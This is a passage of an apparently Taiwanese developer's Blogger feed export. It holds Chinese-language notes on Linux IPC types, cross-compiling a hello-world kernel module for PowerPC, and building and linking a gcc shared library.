</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/3194570174734461789/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/3194570174734461789' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/3194570174734461789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/3194570174734461789'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/beagleboard-xm-audio-lxde.html' title='Beagleboard-XM 更改時區+開啟audio+ Lxde中文'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5175496733255067811</id><published>2014-06-05T11:48:00.001+08:00</published><updated>2014-06-05T11:49:32.994+08:00</updated><title type='text'>ipcs 指令</title><content type='html'>Linux常見的IPC方式有下面幾種方式, ipcs指令可以幫助查看ipc資訊&lt;br /&gt;
&lt;h3 style=&quot;background-color: white; color: #111111; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 1.286em; font-weight: normal; line-height: 1.222em; margin: 1.833em 0px 0.611em; padding: 0px;&quot;&gt;
Different Types of IPCS&lt;/h3&gt;
&lt;div style=&quot;background-color: white; color: #111111; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 21.993999481201172px; margin-bottom: 1.571em; padding: 0px;&quot;&gt;
There are various IPC’s which allows a process to communicate with another processes, either in the same computer or different computer in the same network.&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #111111; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 21.993999481201172px; list-style: square; margin: 0px 0px 1.571em 1.571em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Pipes&lt;/strong&gt;&amp;nbsp;– Provides a way for processes to communicate with each another by exchanging messages. Named pipes provide a way for processes running on different computer systems to communicate over the network.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Shared Memory&lt;/strong&gt;&amp;nbsp;– Processes can exchange values in the shared memory. One process will create a portion of memory which other process can access.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Message Queue&lt;/strong&gt;&amp;nbsp;– It is a structured and ordered list of memory segments where processes store or retrieve data.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Semaphores&lt;/strong&gt;&amp;nbsp;– Provides a synchronizing mechanism for processes that are accessing the same resource. No data is passed with a semaphore; it simply coordinates access to shared resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;source:
http://www.thegeekstuff.com/2010/08/ipcs-command-examples/</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5175496733255067811/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5175496733255067811' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5175496733255067811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5175496733255067811'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/06/ipcs.html' title='ipcs 指令'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-956608296198478368</id><published>2014-05-28T10:30:00.003+08:00</published><updated>2016-12-27T09:26:04.151+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>Cross Compile Hello world kernel module  - PowerPC</title><content type='html'>寫了幾年的程式，常常在改人家寫好的kernel module，好像沒自己寫過，今天就來試試看。&lt;br /&gt;
&lt;br /&gt;
1.先寫好hello.c 這段整個是reference copy來的。
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;#include &amp;lt;linux/module.h&amp;gt;       /* Needed by all modules */
#include &amp;lt;linux/kernel.h&amp;gt;      /* Needed for KERN_INFO */

int init_module(void)
{
        printk(KERN_INFO &quot;Hello world 1.\n&quot;);

        /* 
         * A non 0 return means init_module failed; module can&#39;t be loaded. 
         */
        return 0;
}

void cleanup_module(void)
{
        printk(KERN_INFO &quot;Goodbye world 1.\n&quot;);
}
&lt;/pre&gt;
2. Makefile
   kernel module的compile方式跟 userspace application 有點不同。 我實驗用的開發板是PowerPC平台，其make file如下。
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;# Cross compilation Makefile for ARM
KERN_SRC=../../linux-2.6.37_build
obj-m := hello.o
 
all:
        make -C $(KERN_SRC) ARCH=powerpc CROSS_COMPILE=/opt/powerpc/usr/bin/powerpc-linux- M=`pwd` modules
clean:
        make -C $(KERN_SRC) ARCH=powerpc CROSS_COMPILE=/opt/powerpc/usr/bin/powerpc-linux- M=`pwd` clean
&lt;/pre&gt;
3.把hello.ko tftp至機器上測試&lt;br /&gt;
[root@localhost /sbin]# insmod hello.ko&lt;br /&gt;
Hello world 1.&lt;br /&gt;
[root@localhost /sbin]# lsmod&lt;br /&gt;
hello 592 0 - Live 0xcc89d000 (P)&lt;br /&gt;
[root@localhost /sbin]# rmmod hello&lt;br /&gt;
Goodbye world 1.&lt;br /&gt;
參考資料:&lt;br /&gt;
The Linux Kernel Module Programming Guide&lt;br /&gt;
&lt;a href=&quot;http://linux.die.net/lkmpg/index.html&quot;&gt;http://linux.die.net/lkmpg/index.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/956608296198478368/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/956608296198478368' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/956608296198478368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/956608296198478368'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/05/cross-compile-hello-world-kernel-module.html' title='Cross Compile Hello world kernel module  - PowerPC'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4752320343161597530</id><published>2013-12-13T17:44:00.001+08:00</published><updated>2013-12-13T17:44:38.400+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="embedded linux C"/><title type='text'>shared library 筆記</title><content type='html'>source:&amp;nbsp;&lt;a href=&quot;http://www.thegeekstuff.com/2012/06/linux-shared-libraries/&quot;&gt;http://www.thegeekstuff.com/2012/06/linux-shared-libraries/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
無聊來練一下shared library好了。&lt;br /&gt;
&lt;br /&gt;
1.先寫好share.c&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(221, 221, 221); clear: both; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em; margin-bottom: 1.833em; overflow: auto; padding: 0.667em 0.917em;&quot;&gt;#include &quot;shared.h&quot;
unsigned int add(unsigned int a, unsigned int b)
{
    printf(&quot;\n Inside add()\n&quot;);
    return (a+b);
}&lt;/pre&gt;
2.share.h&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(221, 221, 221); clear: both; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em; margin-bottom: 1.833em; overflow: auto; padding: 0.667em 0.917em;&quot;&gt;#include&lt;stdio .h=&quot;&quot;&gt;
extern unsigned int add(unsigned int a, unsigned int b);&lt;/stdio&gt;&lt;/pre&gt;
3.編釋囉&lt;br /&gt;
gcc -c -Wall -Werror -fPIC share.c&lt;br /&gt;
gcc -shared -o libshare.so share.o&lt;br /&gt;
&lt;br /&gt;
4.產生出來libshare.so囉!!!&lt;br /&gt;
# ls&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;libshare.so &lt;/span&gt;&amp;nbsp;share.c &amp;nbsp;share.h &amp;nbsp;share.o&lt;br /&gt;
5.寫一個測式的程式&lt;br /&gt;
include&lt;stdio .h=&quot;&quot;&gt;&lt;/stdio&gt;&lt;br /&gt;
#include&quot;share.h&quot;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; unsigned int a = 1;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; unsigned int b = 2;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; unsigned int result = 0;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; result = add(a,b);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; printf(&quot;\n The result is [%u]\n&quot;,result);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# gcc -L. -Wall sharetest.c -o go -lshare&lt;br /&gt;
-L. 在當前的目錄下，找-lshare 名稱為libshare.so的library來編。&lt;br /&gt;
# go&lt;br /&gt;
./go: error while loading shared libraries: libshare.so: cannot open shared object file: No such file or directory&lt;br /&gt;
go的測試程式找不到需要的libshare.so。&lt;br /&gt;
&lt;br /&gt;
這時有兩個方法可以解決&lt;br /&gt;
&amp;nbsp;a.修改/etc/ld.so.conf 然後執行ldconfig&lt;br /&gt;
&amp;nbsp;vim /etc/ld.so.conf&lt;br /&gt;
&lt;br /&gt;
include ld.so.conf.d/*.conf&lt;br /&gt;
/usr/local/openssl/lib/&lt;br /&gt;
/usr/lib&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;/home/carlosnew/Cpratic&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
b.&lt;span style=&quot;background-color: #eeeeee; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em;&quot;&gt;export LD_LIBRARY_PATH=&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;/home/carlosnew/Cpratic&lt;/span&gt;&lt;span style=&quot;background-color: #eeeeee; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em;&quot;&gt;:$LD_LIBRARY_PATH&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #eeeeee; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #eeeeee; color: #111111; font-family: Consolas, &#39;Andale Mono&#39;, Monaco, Courier, &#39;Courier New&#39;, Verdana, sans-serif; font-size: 0.857em; line-height: 1.5em;&quot;&gt;6最後一看一下執行結果!&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;# go&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;&amp;nbsp;Inside add()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: #eeeeee; font-size: 14px; line-height: 20.5625px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;&amp;nbsp;The result is [3]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #111111; font-family: Consolas, Andale Mono, Monaco, Courier, Courier New, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 20.5625px;&quot;&gt;&amp;nbsp;static library會佔用較多的記憶體因為把要用到的functions都先包進去了，但是執行速度會比較快，shared library執行速會比較慢，相同的function只需要一塊記憶體空間。&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4752320343161597530/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4752320343161597530' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4752320343161597530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4752320343161597530'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2013/12/shared-library.html' title='shared library 筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>台灣</georss:featurename><georss:point>23.69781 120.96051499999999</georss:point><georss:box>16.2578895 110.6333665 31.1377305 131.28766349999998</georss:box></entry></feed>